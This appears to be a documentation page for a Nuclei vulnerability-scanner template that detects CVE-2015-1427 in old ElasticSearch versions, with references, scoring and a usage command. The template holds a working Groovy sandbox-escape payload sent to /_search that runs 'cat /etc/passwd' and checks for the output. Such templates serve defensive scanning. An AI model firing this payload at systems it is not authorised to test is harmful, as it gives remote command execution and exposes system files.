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ElasticSearch - Remote Code Execution

ID: CVE-2015-1427

Severity: high

Author: pikpikcu

Tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev

Description

Section titled “Description”

ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.

YAML Source

Section titled “YAML Source”
id: CVE-2015-1427


info:
  name: ElasticSearch - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
  reference:
    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427
    - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html
    - https://access.redhat.com/errata/RHSA-2017:0868
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-1427
    cwe-id: CWE-284
    epss-score: 0.87385
    epss-percentile: 0.98629
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev


http:
  - raw:
      - |
        POST /website/blog/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded


        {
          "name": "test"
        }
      - |
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded


        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-1427.yaml"

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